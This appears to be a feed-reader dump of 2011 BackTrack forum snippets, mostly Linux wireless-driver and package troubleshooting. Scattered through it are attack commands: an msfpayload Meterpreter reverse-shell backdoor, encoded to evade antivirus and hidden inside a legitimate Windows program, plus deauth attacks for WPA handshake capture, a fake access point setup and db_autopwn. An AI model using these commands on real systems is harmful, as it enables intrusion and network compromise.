118791 items (0 unread) in 27 feeds
OSVDB Vulnerabilities
Penetration Testing
#iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
#dmesg |grep 8172
[ 0.257988] pci 0000:05:00.0: [10ec:8172] type 0 class 0x000280
#lspci
05:00.0 Network controller: Realtek Semiconductor Co., Ltd. Device 8172 (rev 10)
I tried to load the modules ubuntu 11.10, previously installed on the laptop but I get error, then I noticed that backtrack has the same form that is lib80211.ko and I tried it with the iwconfig command but nothing
sudo aptitude reinstall gnome-applets
That didnt work, in fact now I get the starting File Manager spam even when I log in as root, (But my background stays normal)
Gnome Error Screenshot.jpg
(4.0 KB)
ls cat man cd
I would like to start learning how to program and then get into metasploit and the network security stuff, But I still need to learn how to use the shell properly. How would I go about learning to use the shell?
airodump-ng -c 1 -w --bssid (their bssid) mon0
aireplay-ng -0 15 -a -c mon0
I send between 59-75 deauths (i.e 67/67) but I never get a handshake no matter how many times I re-do it. Am I too far? Because I am losing alot of data. I did "iwconfig" and my IEEE is b/g but the connection i'm trying to hack is n. Could this be why? If so how do I activate N? Any help would be appreciated.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4445 x > /root/backdoor.exe
I get the exe, open it on the target computer and it works fine. My problem however is that basically any AV software will pick this up. So I tried encoding it:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=4444 R| msfencode -c 5 -e x86/shikata_ga_nai -x > /root/EncodedBackdoor.exe
Ok, now I have an encoded executable, I get it to the target computer, open it, and get a message saying that "the file cannot be opened on windows".msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=4444 R| msfencode -c 5 -e x86/shikata_ga_nai -x > /root/windows-software.exe -t exe > /root/newtest.exe
The "windows-software.exe" being a legit windows program.
svn checkout http://backtrack-update.googlecode.com/svn/trunk/ backtrack-update
It has two parts to it: iso_mod.sh and update.sh
root @ bt: ~ # ndiswrapper-l
net8187b: driver installed
device (0BDA: 8189) present (alternate driver: rtl8187
moreover, I have a toshiba a200 with ubuntu installed (10.04 LTS / n / l) which automatically recognizes the USB pen and i've never installed any driver in this machine for the thomson pen.root @ bt: ~ # cat / etc / issue
Ubuntu 10.04.3 LTS \ n \ l
why does this happen?
CH 1 ][ BAT: 2 hours 58 mins ][ Elapsed: 2 mins ][ 2011-10-30 15:43 ][ fixed channel mon0: 2
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
**************** -66 0 101 202 0 1 54 WPA2 TKIP PSK *******
BSSID STATION PWR Rate Lost Packets Probes
****************** ************* -65 0 - 1 117 226
Like you see, the message "fixed channel mon0: 2 " appear and I think this cause the failure of injecting operation.
isolinux screen.jpg
(25.6 KB)
lspci:
00:00.0 Host bridge: Intel Corporation Mobile 4 Series Chipset Memory Controller Hub (rev 07)
00:02.0 VGA compatible controller: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller (rev 07)
00:02.1 Display controller: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller (rev 07)
00:1a.0 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #4 (rev 03)
00:1a.1 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #5 (rev 03)
00:1a.2 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #6 (rev 03)
00:1a.7 USB Controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #2 (rev 03)
00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)
00:1c.0 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 1 (rev 03)
00:1c.1 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 2 (rev 03)
00:1c.2 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 3 (rev 03)
00:1c.4 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 5 (rev 03)
00:1d.0 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #1 (rev 03)
00:1d.1 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #2 (rev 03)
00:1d.2 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #3 (rev 03)
00:1d.7 USB Controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #1 (rev 03)
00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev 93)
00:1f.0 ISA bridge: Intel Corporation ICH9M LPC Interface Controller (rev 03)
00:1f.2 SATA controller: Intel Corporation ICH9M/M-E SATA AHCI Controller (rev 03)
00:1f.3 SMBus: Intel Corporation 82801I (ICH9 Family) SMBus Controller (rev 03)
09:00.0 Ethernet controller: Marvell Technology Group Ltd. 88E8040 PCI-E Fast Ethernet Controller (rev 13)
0c:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g LP-PHY (rev 01)
lsusb:
Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
lsmod:
Module Size Used by
dm_crypt 16476 0
snd_hda_codec_idt 65083 1
snd_hda_intel 25382 2
snd_hda_codec 89862 2 snd_hda_codec_idt,snd_hda_intel
snd_hwdep 6666 1 snd_hda_codec
snd_pcm_oss 39737 0
snd_mixer_oss 15609 1 snd_pcm_oss
snd_pcm 83135 3 snd_hda_intel,snd_hda_codec,snd_pcm_oss
snd_seq_dummy 1782 0
snd_seq_oss 29952 0
snd_seq_midi 5676 0
arc4 1505 2
lp 9893 0
parport 34080 1 lp
snd_rawmidi 21765 1 snd_seq_midi
b43 326324 0
snd_seq_midi_event 6708 2 snd_seq_oss,snd_seq_midi
snd_seq 54693 6 snd_seq_dummy,snd_seq_oss,snd_seq_midi,snd_seq_midi_event
snd_timer 21958 2 snd_pcm,snd_seq
dell_laptop 8856 0
mac80211 277511 1 b43
cfg80211 165732 2 b43,mac80211
snd_seq_device 6265 5 snd_seq_dummy,snd_seq_oss,snd_seq_midi,snd_rawmidi,snd_seq
rfkill 18476 2 dell_laptop,cfg80211
dell_wmi 1777 0
snd 65738 16 snd_hda_codec_idt,snd_hda_intel,snd_hda_codec,snd_hwdep,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_seq_oss,snd_rawmidi,snd_seq,snd_timer,snd_seq_device
sparse_keymap 3878 1 dell_wmi
soundcore 7240 1 snd
psmouse 60384 0
snd_page_alloc 8149 2 snd_hda_intel,snd_pcm
wmi 9944 1 dell_wmi
mac_hid 3869 0
serio_raw 4784 0
dcdbas 6737 1 dell_laptop
ums_realtek 4767 0
usb_storage 48582 1 ums_realtek
ahci 21622 2
i915 522208 3
drm_kms_helper 32921 1 i915
uas 8820 0
libahci 22318 1 ahci
drm 211510 4 i915,drm_kms_helper
intel_agp 11862 1 i915
i2c_algo_bit 5628 1 i915
intel_gtt 16156 3 i915,intel_agp
sky2 50434 0
ssb 43273 1 b43
video 12530 1 i915
uname -r:
2.6.39.4
BackTrack 5-2011-10-26-02-27-34.jpg
(14.7 KB)
Reading package lists... Done
Building dependency tree
Reading state information... Done
Reading extended state information
Initializing package states... Done
The following partially installed packages will be configured:
nvidia-current nvidia-glx-185
0 packages upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0B of archives. After unpacking 0B will be used.
Writing extended state information... Done
Setting up nvidia-current (195.36.24-0ubuntu1~10.04) ...
Removing old nvidia-current-195.36.24 DKMS files...
------------------------------
Deleting module version: 195.36.24
completely from the DKMS tree.
------------------------------
Done.
Loading new nvidia-current-195.36.24 DKMS files...
First Installation: checking all kernels...
Building only for 2.6.39.4
Building for architecture x86_64
Building initial module for 2.6.39.4
Error! Bad return status for module build on kernel: 2.6.39.4 (x86_64)
Consult the make.log in the build directory
/var/lib/dkms/nvidia-current/195.36.24/build/ for more information.
dpkg: error processing nvidia-current (--configure):
subprocess installed post-installation script returned error exit status 10
dpkg: dependency problems prevent configuration of nvidia-glx-185:
nvidia-glx-185 depends on nvidia-current; however:
Package nvidia-current is not configured yet.
dpkg: error processing nvidia-glx-185 (--configure):
dependency problems - leaving unconfigured
No apport report written because the error message indicates its a followup error from a previous failure.
Processing triggers for python-gmenu ...
Rebuilding /usr/share/applications/desktop.en_US.utf8.cache...
Processing triggers for python-support ...
Errors were encountered while processing:
nvidia-current
nvidia-glx-185
E: Sub-process /usr/bin/dpkg returned an error code (1)
A package failed to install. Trying to recover:
Setting up nvidia-current (195.36.24-0ubuntu1~10.04) ...
Removing old nvidia-current-195.36.24 DKMS files...
------------------------------
Deleting module version: 195.36.24
completely from the DKMS tree.
------------------------------
Done.
Loading new nvidia-current-195.36.24 DKMS files...
First Installation: checking all kernels...
Building only for 2.6.39.4
Building for architecture x86_64
Building initial module for 2.6.39.4
Error! Bad return status for module build on kernel: 2.6.39.4 (x86_64)
Consult the make.log in the build directory
/var/lib/dkms/nvidia-current/195.36.24/build/ for more information.
dpkg: error processing nvidia-current (--configure):
subprocess installed post-installation script returned error exit status 10
dpkg: dependency problems prevent configuration of nvidia-glx-185:
nvidia-glx-185 depends on nvidia-current; however:
Package nvidia-current is not configured yet.
dpkg: error processing nvidia-glx-185 (--configure):
dependency problems - leaving unconfigured
Processing triggers for python-gmenu ...
Rebuilding /usr/share/applications/desktop.en_US.utf8.cache...
Processing triggers for python-support ...
Errors were encountered while processing:
nvidia-current
nvidia-glx-185
Reading package lists... Done
Building dependency tree
Reading state information... Done
Reading extended state information
Initializing package states... Done
I don't know how to fix this problem.
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airbase-ng -e 'FakeAP' -c 8 wlan0
ifconfig at0 up
ifconfig at0 192.168.2.1 netmask 255.255.255.0
route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
echo 1 > /proc/sys/net/ipv4/ip_forward
/etc/init.d/dhcp3-server start
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE (Have done a lot of different iptable settings :/)
To bad that non of my wireless cards support master mode... but airbase-ng only support monitor mode(?) so it cant be anything there, i guess.
Fail_tcp.jpg
(19.7 KB)
root@bt:/pentest/python/impacket-examples# python samrdump.py 192.168.x.x
Retrieving endpoint list from 192.168.x.x
Trying protocol 445/SMB...
Found domain(s):
. xxxxxx
. yyyyyy
Looking up users in domain xxxxx
Protocol failed:
Traceback (most recent call last):
File "samrdump.py", line 182, in <module>
dumper.dump(address)
File "samrdump.py", line 66, in dump
entries = self.__fetchList(rpctransport)
File "samrdump.py", line 142, in __fetchList
resp = rpcsamr.enumusers(domain_context_handle)
File "/usr/lib/pymodules/python2.6/impacket/dcerpc/samr.py", line 697, in enumusers
retVal = SAMRRespEnumDomainUsersHeader(data)
File "/usr/lib/pymodules/python2.6/impacket/dcerpc/samr.py", line 472, in __init__
if aBuffer: self.load_header(aBuffer)
File "/usr/lib/pymodules/python2.6/impacket/ImpactPacket.py", line 256, in load_header
hdr_len = self.get_header_size()
File "/usr/lib/pymodules/python2.6/impacket/dcerpc/samr.py", line 498, in get_header_size
assert var_size > 0
AssertionError
bt kernel: [ 1163.079035] wlan0: deauthenticated from 5c:d9:98:e1:da:26 (Reason: 3)
this is what syslog says at the connection drop
acpitz-virtual-0
Adapter: Virtual device
templ: +40.0C (crit = +100.0C)
coretemp-isa-0000
Adapter: ISA adapter
Core 0: +89.0C (high = +100.0C, crit = +100.0C)
(I am sorry for my bad english but i hope you guys understand)
Downloaded the newest version of compat-wireless
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
sudo apt-get install patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
make
sudo make install
sudo make unload
sudo reboot
2) Module Size Used by
ip6table_filter 1283 0
ip6_tables 11915 1 ip6table_filter
iptable_filter 1310 0
ip_tables 10534 1 iptable_filter
x_tables 14551 4 ip6table_filter,ip6_tables,iptable_filter,ip_tables
nvidia 10582777 32
arc4 1141 2
iwlagn 185755 0
iwlcore 64140 1 iwlagn
snd_hda_codec_idt 55705 1
mac80211 248838 2 iwlagn,iwlcore
snd_hda_intel 21656 0
snd_hda_codec 79287 2 snd_hda_codec_idt,snd_hda_intel
snd_hwdep 5424 1 snd_hda_codec
snd_pcm_oss 36427 0
snd_mixer_oss 13581 1 snd_pcm_oss
joydev 8649 0
snd_pcm 68875 3 snd_hda_intel,snd_hda_codec,snd_pcm_oss
snd_seq_dummy 1358 0
snd_seq_oss 26216 0
snd_seq_midi 4460 0
cfg80211 152934 3 iwlagn,iwlcore,mac80211
snd_rawmidi 18745 1 snd_seq_midi
r852 9576 0
sm_common 6704 1 r852
snd_seq_midi_event 5720 2 snd_seq_oss,snd_seq_midi
snd_seq 45875 6 snd_seq_dummy,snd_seq_oss,snd_seq_midi,snd_seq_midi_event
dell_wmi 1413 0
sdhci_pci 7479 0
dell_laptop 7796 0
nand 45788 2 r852,sm_common
nand_ids 3822 1 nand
snd_timer 17835 2 snd_pcm,snd_seq
uvcvideo 60089 0
sdhci 16342 1 sdhci_pci
nand_ecc 3732 1 nand
rfkill 14987 2 cfg80211,dell_laptop
snd_seq_device 5281 5 snd_seq_dummy,snd_seq_oss,snd_seq_midi,snd_rawmidi,snd_seq
videodev 64006 1 uvcvideo
psmouse 52655 0
sparse_keymap 3098 1 dell_wmi
snd 50345 12 snd_hda_codec_idt,snd_hda_intel,snd_hda_codec,snd_hwdep,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_seq_oss,snd_rawmidi,snd_seq,snd_timer,snd_seq_device
soundcore 6016 1 snd
serio_raw 3712 0
mtd 20073 2 sm_common,nand
snd_page_alloc 6769 2 snd_hda_intel,snd_pcm
wmi 8740 1 dell_wmi
lp 7373 0
mac_hid 3029 0
parport 29468 1 lp
dcdbas 5557 1 dell_laptop
usbhid 35213 0
hid 67599 1 usbhid
nouveau 629204 0
ttm 54611 1 nouveau
drm_kms_helper 30726 1 nouveau
drm 171919 3 nouveau,ttm,drm_kms_helper
i2c_algo_bit 4852 1 nouveau
intel_agp 9614 0
ahci 18378 2
sky2 44659 0
intel_gtt 13296 1 intel_agp
libahci 19579 1 ahci
video 10930 1 nouveau
agpgart 27382 5 nvidia,ttm,drm,intel_agp,intel_gtt

root@bt:~# airmon-ng start wlan1
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1436 dhclient
1453 dhclient3
Process with PID 1436 (dhclient) is running on interface wlan0
Process with PID 1453 (dhclient3) is running on interface wlan0
Interface Chipset Driver
wlan1 Realtek RTL8187L rtl8187 - [phy0]
(monitor mode enabled on mon0)
asdfasdfasdf.jpg
(14.2 KB)
if ( 62 == ip_address.first_octet )
return "Ireland";
else if ( 41 == ip_address.first_octet )
return "Nigeria";
else if ( 158 == ip_address.first_octet )
return "Chile";
else
return 0;
Does anyone have such code available? I'd really appreciate if you could post it here (it can be in any programming language at all).
root@bt:~# nmap -sS -A -T4 192.168.203.140
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-17 12:55 PDT
Nmap scan report for 192.168.203.140
Host is up (0.00041s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp open mstask Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:AB:3F:47 (VMware)
Device type: general purpose
Running: Microsoft Windows 2000|XP
OS details: Microsoft Windows 2000 SP0/SP1/SP2 or Windows XP SP0/SP1, Microsoft Windows XP SP1
Network Distance: 1 hop
Service Info: OS: Windows
Host script results:
|_nbstat: NetBIOS name: TEST-9VB1J0F9GS, NetBIOS user: ADMINISTRATOR, NetBIOS MAC: 00:0c:29:ab:3f:47 (VMware)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Windows 2000 (Windows 2000 LAN Manager)
| Name: WORKGROUP\TEST-9VB1J0F9GS
|_ System time: 2011-10-17 12:55:13 UTC-7
TRACEROUTE
HOP RTT ADDRESS
1 0.41 ms 192.168.203.140
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.87 seconds
I tried turning on some debug with -d and -dd but does seem to reveal the proper fingerprint to determine SP4 is running
apt-get install postgresql
and same for mysql with mysql-server. Below is the following output from: apt-get update, apt-get upgrade, install errors, lshw, my sources.listroot@localhost:/# apt-get update
Hit http://armel.repository.backtrack-linux.org revolution Release.gpg
Hit http://armel.repository.backtrack-linux.org revolution Release
Hit http://armel.repository.backtrack-linux.org revolution/main Packages
Hit http://armel.repository.backtrack-linux.org revolution/microverse Packages
Hit http://armel.repository.backtrack-linux.org revolution/non-free Packages
Hit http://armel.repository.backtrack-linux.org revolution/testing Packages
Hit BackTrack Linux Repository revolution Release.gpg
Hit BackTrack Linux Repository revolution Release
Hit Index of / revolution Release.gpg
Hit Index of / revolution Release
Hit Index of / revolution/main Packages
Hit Index of / revolution/microverse Packages
Hit Index of / revolution/non-free Packages
Hit Index of / revolution/testing Packages
Hit BackTrack Linux Repository revolution/main Packages
Hit BackTrack Linux Repository revolution/microverse Packages
Hit BackTrack Linux Repository revolution/non-free Packages
Hit BackTrack Linux Repository revolution/testing Packages
Reading package lists...
root@localhost:/#
#############################################################
root@localhost:/# apt-get upgrade
Reading package lists...
Building dependency tree...
Reading state information...
The following packages have been kept back:
capplets-data evolution-common evolution-data-server-common libatk1.0-data
libglib2.0-data libgtk2.0-bin nautilus-data python-pyatspi update-manager
0 upgraded, 0 newly installed, 0 to remove and 9 not upgraded.
root@localhost:/#
#############################################################
root@localhost:/# apt-get install postgresql
Reading package lists...
Building dependency tree...
Reading state information...
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:
The following packages have unmet dependencies:
postgresql: Depends: postgresql-8.4 but it is not installable
root@localhost:/#
#############################################################
root@localhost:/# apt-get install postgresql-8.4
Reading package lists...
Building dependency tree...
Reading state information...
Package postgresql-8.4 is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
root@localhost:/#
#############################################################
root@localhost:/# apt-get install mysql-server
Reading package lists...
Building dependency tree...
Reading state information...
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:
The following packages have unmet dependencies:
mysql-server: Depends: mysql-server-5.1 but it is not installable
root@localhost:/#
#############################################################
root@localhost:/# lshw
localhost
description: Computer
width: 32 bits
*-core
description: Motherboard
physical id: 0
*-memory
description: System memory
physical id: 0
size: 718MiB
*-cpu
physical id: 1
bus info: cpu@0
size: 1504MHz
capacity: 1504MHz
capabilities: cpufreq
*-network:0 DISABLED
description: Ethernet interface
physical id: 1
logical name: dummy0
serial: 1e:36:f3:1c:06:73
capabilities: ethernet physical
configuration: broadcast=yes
*-network:1 DISABLED
description: Ethernet interface
physical id: 2
logical name: usb0
serial: d2:6f:ab:a5:ed:86
capabilities: ethernet physical
configuration: broadcast=yes driver=g_ether driverversion=29-May-2008 firmware=fsl-tegra-udc link=no multicast=yes
*-network:2
description: Wireless interface
physical id: 3
logical name: wlan0
serial: 00:90:4c:12:34:56
capabilities: ethernet physical wireless
configuration: broadcast=yes driver=wl driverversion=0 ip=172.21.1.45 multicast=yes wireless=IEEE 802.11-DS
root@localhost:/#
#############################################################
root@localhost:/# cat /etc/apt/sources.list
#deb http://ports.ubuntu.com/ubuntu-ports lucid main restricted
#deb-src http://archive.ubuntu.com/ubuntu lucid main restricted
#deb http://ports.ubuntu.com/ubuntu-ports lucid-security main restricted
#deb-src http://archive.ubuntu.com/ubuntu lucid-security main restricted
## Major bug fix updates produced after the final release of the
## distribution.
#deb http://ports.ubuntu.com/ubuntu-ports lucid-updates main restricted
#deb-src http://archive.ubuntu.com/ubuntu lucid-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
# deb http://ports.ubuntu.com/ubuntu-ports lucid universe
# deb-src http://archive.ubuntu.com/ubuntu lucid universe
# deb http://ports.ubuntu.com/ubuntu-ports lucid-updates universe
# deb-src http://archive.ubuntu.com/ubuntu lucid-updates universe
# deb http://ports.ubuntu.com/ubuntu-ports lucid-security universe
# deb-src http://archive.ubuntu.com/ubuntu lucid-security universe
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
# deb http://ports.ubuntu.com/ubuntu-ports lucid multiverse
# deb-src http://archive.ubuntu.com/ubuntu lucid multiverse
# deb http://ports.ubuntu.com/ubuntu-ports lucid-updates multiverse
# deb-src http://archive.ubuntu.com/ubuntu lucid-updates multiverse
# deb http://ports.ubuntu.com/ubuntu-ports lucid-security multiverse
# deb-src http://archive.ubuntu.com/ubuntu lucid-security multiverse
#deb http://ports.ubuntu.com/ubuntu-ports karmic main universe
deb Index of / revolution main microverse non-free testing
deb BackTrack Linux Repository revolution main microverse non-free testing
deb http://armel.repository.backtrack-linux.org revolution main microverse non-free testing
root@localhost:/#
cd /tmp
wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2011-03-14.tar.bz2
tar -jxf compat*
cd compat-wireless*
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
./scripts/driver-select iwlagn
make
make install
make unload
reboot
Code:
root@root:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:16:ea:d6:64:xx
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@root:~# iwconfig wlan0
wlan0 IEEE 802.11abgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
root@root:~# lspci | grep -i Network
02:00.0 Network controller: Intel Corporation WiFi Link 5100
root@root:~# ls -l /sys/class/net/wlan0/device/driver
lrwxrwxrwx 1 root root 0 2011-10-15 12:59 /sys/class/net/wlan0/device/driver -> ../../../../bus/pci/drivers/iwlagn
root@root:~# lsmod | grep -i iwlagn
iwlagn 232477 0
mac80211 277511 1 iwlagn
cfg80211 165732 2 iwlagn,mac80211
root@root:~# airmon-ng
Interface Chipset Driver
wlan0 Intel 5100 iwlagn - [phy0]
root@root:~# airmon-ng start wlan0 13
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
3387 dhclient3
3586 dhclient3
Process with PID 3586 (dhclient3) is running on interface wlan0
Interface Chipset Driver
wlan0 Intel 5100 iwlagn - [phy0]
(monitor mode enabled on mon0)
root@root:~# aireplay-ng -9 mon0
13:04:52 Trying broadcast probe requests...
13:04:54 No Answer...
13:04:54 Found 1 AP
13:04:54 Trying directed probe requests...
13:04:54 00:19:5B:E7:52:xx - channel: 13 - 'SSID'
13:05:00 0/30: 0%
root@root:~#
Code:
root@bt:~# aireplay-ng -9 mon0
17:21:31 Trying broadcast probe requests...
17:21:32 Injection is working!
17:21:33 Found 1 APs
17:21:33 Trying directed probe requests...
17:21:33 00:19:5B:E7:52:xx - channel: 13 - 'SSID'
17:21:33 Ping (min/avg/max): 2.357ms/60.632ms/153.159ms Power: -75.15
17:21:33 25/30: 83%
root@bt:~#
cd /tmp
wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2011-03-14.tar.bz2
tar -jxf compat*
cd compat-wireless*
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
./scripts/driver-select iwlagn
make
make install
make unload
reboot
Code:
root@root:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:16:ea:d6:64:xx
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@root:~# iwconfig wlan0
wlan0 IEEE 802.11abgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
root@root:~# lspci | grep -i Network
02:00.0 Network controller: Intel Corporation WiFi Link 5100
root@root:~# ls -l /sys/class/net/wlan0/device/driver
lrwxrwxrwx 1 root root 0 2011-10-15 12:59 /sys/class/net/wlan0/device/driver -> ../../../../bus/pci/drivers/iwlagn
root@root:~# lsmod | grep -i iwlagn
iwlagn 232477 0
mac80211 277511 1 iwlagn
cfg80211 165732 2 iwlagn,mac80211
root@root:~# airmon-ng
Interface Chipset Driver
wlan0 Intel 5100 iwlagn - [phy0]
root@root:~# airmon-ng start wlan0 13
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
3387 dhclient3
3586 dhclient3
Process with PID 3586 (dhclient3) is running on interface wlan0
Interface Chipset Driver
wlan0 Intel 5100 iwlagn - [phy0]
(monitor mode enabled on mon0)
root@root:~# aireplay-ng -9 mon0
13:04:52 Trying broadcast probe requests...
13:04:54 No Answer...
13:04:54 Found 1 AP
13:04:54 Trying directed probe requests...
13:04:54 00:19:5B:E7:52:xx - channel: 13 - 'SSID'
13:05:00 0/30: 0%
root@root:~#
Code:
root@bt:~# aireplay-ng -9 mon0
17:21:31 Trying broadcast probe requests...
17:21:32 Injection is working!
17:21:33 Found 1 APs
17:21:33 Trying directed probe requests...
17:21:33 00:19:5B:E7:52:xx - channel: 13 - 'SSID'
17:21:33 Ping (min/avg/max): 2.357ms/60.632ms/153.159ms Power: -75.15
17:21:33 25/30: 83%
root@bt:~#
Traceback (most recent call last):
File "./sqlmap.py", line 17, in <module>
from _sqlmap import main
File "/pentest/database/sqlmap/_sqlmap.py", line 27, in <module>
from lib.controller.controller import start
File "/pentest/database/sqlmap/lib/controller/controller.py", line 13, in <module>
from lib.controller.action import action
File "/pentest/database/sqlmap/lib/controller/action.py", line 10, in <module>
from lib.controller.handler import setHandler
File "/pentest/database/sqlmap/lib/controller/handler.py", line 27, in <module>
from plugins.dbms.mssqlserver import MSSQLServerMap
File "/pentest/database/sqlmap/plugins/dbms/mssqlserver/__init__.py", line 14, in <module>
from plugins.dbms.mssqlserver.enumeration import Enumeration
File "/pentest/database/sqlmap/plugins/dbms/mssqlserver/enumeration.py", line 28, in <module>
from plugins.generic.enumeration import Enumeration as GenericEnumeration
File "/pentest/database/sqlmap/plugins/generic/enumeration.py", line 16, in <module>
from lib.core.common import BigArray
ImportError: cannot import name BigArray
root@bt:/pentest/database/sqlmap#
=[ metasploit v4.1.0-testing [core:4.1 api:1.0]
+ -- --=[ 745 exploits - 382 auxiliary - 92 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
=[ svn r13922 updated today (2011.10.14)
as it say's 745 exploit's, so I was wandering go to exploit-db.com and saw that there is in repository about 15 000 exploit's available to download.. db_nmap 192.168.1.1 -Pn [*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-14 12:42 CEST[*] Nmap: Nmap scan report for dsldevice.lan (192.168.1.1)[*] Nmap: Host is up (0.0068s latency).[*] Nmap: Not shown: 995 filtered ports[*] Nmap: PORT STATE SERVICE[*] Nmap: 21/tcp open ftp[*] Nmap: 23/tcp open telnet[*] Nmap: 80/tcp open http[*] Nmap: 443/tcp open https[*] Nmap: 1723/tcp open pptp[*] Nmap: MAC Address: 00:24:17:D7:94:94 (Thomson Telecom Belgium)[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 6.96 seconds
msf > db_autopwn -p -t -e -b
[-]
[-] Warning: The db_autopwn command is deprecated and will be removed in a future version.
[-] This code is not well maintained, crashes systems, and crashes itself.
[-] [*] Analysis completed in 10 seconds (0 vulns / 0 refs)
according to this output fastrack will be somehow deprecated as well?
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=16 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
mon0 IEEE 802.11bgn Mode:Monitor Tx-Power=16 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:on
ifconfigeth0 Link encap:Ethernet HWaddr 00:23:5a:71:30:e0
